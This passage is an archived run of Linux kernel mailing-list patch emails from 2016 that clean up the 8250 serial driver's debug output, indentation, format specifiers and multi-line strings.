	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	=?UTF-8?q?Anton=20W=C3=BCr
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:40:16 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOT1-0004IR-0O
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:40:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754326AbcAMQju convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:39:50 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46966 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754234AbcAMQjr (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:47 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id D4CDA58C4DA;
	Wed, 13 Jan 2016 17:39:44 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:44 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126003 gmane.linux.ports.parisc:26358
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126003>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch removes the macro SERIAL_DEBUG_PNP, which is used to enable
debugging at compile time.
As SERIAL_DEBUG_PNP is an orphan, the corresponding #ifdef is removed.
To keep the ability to enable debugging at compile time,
the call to printk(KERN_DEBUG ...) is replaced by a corresponding
call to dev_dbg(), which is configurable via CONFIG_DYNAMIC_DEBUG.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pnp.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index ffa7354..ba3a1af 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -464,11 +464,11 @@ serial_pnp_probe(struct pnp_dev *dev, const struc=
t pnp_device_id *dev_id)
 	} else
 		return -ENODEV;
=20
-#ifdef SERIAL_DEBUG_PNP
-	printk(KERN_DEBUG
-		"Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		       uart.port.iobase, uart.port.mapbase, uart.port.irq, uart.port=
=2Eiotype);
-#endif
+	dev_dbg(&dev->dev,
+		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, uart.port.mapbase,
+		 uart.port.irq, uart.port.iotype);
+
 	if (flags & CIR_PORT) {
 		uart.port.flags |=3D UPF_FIXED_PORT | UPF_FIXED_TYPE;
 		uart.port.type =3D PORT_8250_CIR;
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 15/15] tty: serial: 8250: Merge duplicate conditions
Date: Wed, 13 Jan 2016 17:39:31 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <1452703171-5632-16-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703234 29790 80.91.229.3 (13 Jan 2016 16:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:40:34 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:40:26 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOT9-0004PM-9P
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:40:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754409AbcAMQkK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:40:10 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:47006 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754234AbcAMQjv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:51 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 7634058C4D4;
	Wed, 13 Jan 2016 17:39:49 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:49 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126004 gmane.linux.ports.parisc:26359
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126004>

This patch refactors a switch case statement by merging an if condition
in the default case into an identical condition right after the switch
statement.
This comes with a slight change in behaviour: If pci_netmos_9900_numpor=
ts
returns 0, an additional warning is printed.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 1dd607f..50ab301 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -854,8 +854,10 @@ static int pci_netmos_init(struct pci_dev *dev)
 		}
 	}
=20
-	if (num_serial =3D=3D 0)
+	if (num_serial =3D=3D 0) {
+		moan_device("unknown NetMos/Mostech device", dev);
 		return -ENODEV;
+	}
=20
 	return num_serial;
 }
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 13/15] tty: serial: 8250: Fix indentation warnings
Date: Wed, 13 Jan 2016 17:39:29 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <1452703171-5632-14-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703263 30505 80.91.229.3 (13 Jan 2016 16:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:41:03 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:40:54 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOTd-0004i3-5u
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:40:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754476AbcAMQkt convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:40:49 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:47006 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754278AbcAMQjt (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:49 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 2FDD558C4D6;
	Wed, 13 Jan 2016 17:39:47 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:47 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126005 gmane.linux.ports.parisc:26360
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126005>

Checkpatch complains about incorrect indentation of switch/case stateme=
nts.
This patch fixes the corresponding warnings. Additionally some indentat=
ion
is changed to match the correct format specified in the Linux Kernel
Coding Style.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 20 ++++++++++----------
 drivers/tty/serial/8250/8250_pnp.c  |  4 ++--
 drivers/tty/serial/8250/8250_port.c |  6 +++---
 3 files changed, 15 insertions(+), 15 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 433afdd..1dd607f 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -841,17 +841,17 @@ static int pci_netmos_init(struct pci_dev *dev)
 		return 0;
=20
 	switch (dev->device) { /* FALLTHROUGH on all */
-		case PCI_DEVICE_ID_NETMOS_9904:
-		case PCI_DEVICE_ID_NETMOS_9912:
-		case PCI_DEVICE_ID_NETMOS_9922:
-		case PCI_DEVICE_ID_NETMOS_9900:
-			num_serial =3D pci_netmos_9900_numports(dev);
-			break;
+	case PCI_DEVICE_ID_NETMOS_9904:
+	case PCI_DEVICE_ID_NETMOS_9912:
+	case PCI_DEVICE_ID_NETMOS_9922:
+	case PCI_DEVICE_ID_NETMOS_9900:
+		num_serial =3D pci_netmos_9900_numports(dev);
+		break;
=20
-		default:
-			if (num_serial =3D=3D 0) {
-				moan_device("unknown NetMos/Mostech device", dev);
-			}
+	default:
+		if (num_serial =3D=3D 0) {
+			moan_device("unknown NetMos/Mostech device", dev);
+		}
 	}
=20
 	if (num_serial =3D=3D 0)
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 9305591..a11180d 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -427,8 +427,8 @@ static int check_resources(struct pnp_dev *dev)
 static int serial_pnp_guess_board(struct pnp_dev *dev)
 {
 	if (!(check_name(pnp_dev_name(dev)) ||
-		(dev->card && check_name(dev->card->name))))
-			return -ENODEV;
+	    (dev->card && check_name(dev->card->name))))
+		return -ENODEV;
=20
 	if (check_resources(dev))
 		return 0;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 343d050..da3b240 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -2235,9 +2235,9 @@ static void serial8250_set_divisor(struct uart_po=
rt *port, unsigned int baud,
 		serial_port_out(port, 0x2, quot_frac);
 }
=20
-static unsigned int
-serial8250_get_baud_rate(struct uart_port *port, struct ktermios *term=
ios,
-			 struct ktermios *old)
+static unsigned int serial8250_get_baud_rate(struct uart_port *port,
+					     struct ktermios *termios,
+					     struct ktermios *old)
 {
 	unsigned int tolerance =3D port->uartclk / 100;
=20
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 12/15] tty: serial: 8250: Correct conversion specifiers
Date: Wed, 13 Jan 2016 17:39:28 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <1452703171-5632-13-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703282 30699 80.91.229.3 (13 Jan 2016 16:41:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:41:22 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:41:19 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOU1-00054D-Sn
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:41:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754520AbcAMQlH convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:41:07 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:47150 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754251AbcAMQjs (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:48 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 0A00158C4C8;
	Wed, 13 Jan 2016 17:39:46 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:46 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126006 gmane.linux.ports.parisc:26361
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126006>

This patch fixes compiler warnings about wrong conversion specifiers us=
ed
in a debug output in 8250_pnp.c. The precise warning is:

drivers/tty/serial/8250/8250_pnp.c: In function =E2=80=98serial_pnp_pro=
be=E2=80=99:
include/linux/dynamic_debug.h:64:16: warning: format =E2=80=98%x=E2=80=99=
 expects argument
of [...]

include/linux/dynamic_debug.h:84:2: note: in expansion of macro
=E2=80=98DEFINE_DYNAMIC_DEBUG_METADATA=E2=80=99

include/linux/device.h:1179:2: note: in expansion of macro
=E2=80=98dynamic_dev_dbg=E2=80=99

drivers/tty/serial/8250/8250_pnp.c:467:2: note: in expansion of macro
=E2=80=98dev_dbg=E2=80=99
  dev_dbg(&dev->dev,
  ^
include/linux/dynamic_debug.h:64:16: warning: format =E2=80=98%lx=E2=80=
=99 expects argument
of [...]

include/linux/dynamic_debug.h:84:2: note: in expansion of macro
=E2=80=98DEFINE_DYNAMIC_DEBUG_METADATA=E2=80=99

include/linux/device.h:1179:2: note: in expansion of macro
=E2=80=98dynamic_dev_dbg=E2=80=99

drivers/tty/serial/8250/8250_pnp.c:467:2: note: in expansion of macro
=E2=80=98dev_dbg=E2=80=99
  dev_dbg(&dev->dev,
  ^

Those warnings never got triggered, because the command was nested
in an #ifdef, which is removed by a patch of this series.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pnp.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index ba3a1af..9305591 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -465,8 +465,8 @@ serial_pnp_probe(struct pnp_dev *dev, const struct =
pnp_device_id *dev_id)
 		return -ENODEV;
=20
 	dev_dbg(&dev->dev,
-		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		 uart.port.iobase, uart.port.mapbase,
+		 "Setup PNP port: port %lx, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, (unsigned long)uart.port.mapbase,
 		 uart.port.irq, uart.port.iotype);
=20
 	if (flags & CIR_PORT) {
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 09/15] tty: serial: 8250: Fix multi-line strings
Date: Wed, 13 Jan 2016 17:39:25 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <1452703171-5632-10-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703317 31426 80.91.229.3 (13 Jan 2016 16:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:41:57 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:41:49 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOUS-0005QO-LG
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:41:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754285AbcAMQjs convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:39:48 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46966 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754218AbcAMQjo (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:44 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 8CB6F58C4E7;
	Wed, 13 Jan 2016 17:39:42 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:42 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126008 gmane.linux.ports.parisc:26362
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126008>

Merged user-visible multi-line strings into a single line according to =
the
Linux Kernel Coding Style, which allows user-visible strings to exceed =
the
maximum line length of 80 characters. The main reason for this is to
facilitate grepping for these strings.
However, some strings were ignored in this patch, because the use of
format specifiers breaks the ability to grep anyway.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 3 +--
 drivers/tty/serial/8250/serial_cs.c | 3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index d042ad5..b60b58b 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1173,8 +1173,7 @@ MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
 module_param(share_irqs, uint, 0644);
-MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices"
-	" (unsafe)");
+MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices (unsafe)");
=20
 module_param(nr_uarts, uint, 0644);
 MODULE_PARM_DESC(nr_uarts, "Maximum number of UARTs supported. (1-" __=
MODULE_STRING(CONFIG_SERIAL_8250_NR_UARTS) ")");
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 1f34867..1ab6bfc 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -533,8 +533,7 @@ static int multi_config(struct pcmcia_device *link)
 		info->multi =3D 2;
 		if (pcmcia_loop_config(link, multi_config_check_notpicky,
 				       &base2)) {
-			dev_warn(&link->dev, "no usable port range "
-			       "found, giving up\n");
+			dev_warn(&link->dev, "no usable port range found, giving up\n");
 			return -ENODEV;
 		}
 	}
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 08/15] tty: serial: 8250: Add parentheses to macro
Date: Wed, 13 Jan 2016 17:39:24 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1452703171-5632-9-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703328 31592 80.91.229.3 (13 Jan 2016 16:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:42:08 +0000 (UTC)
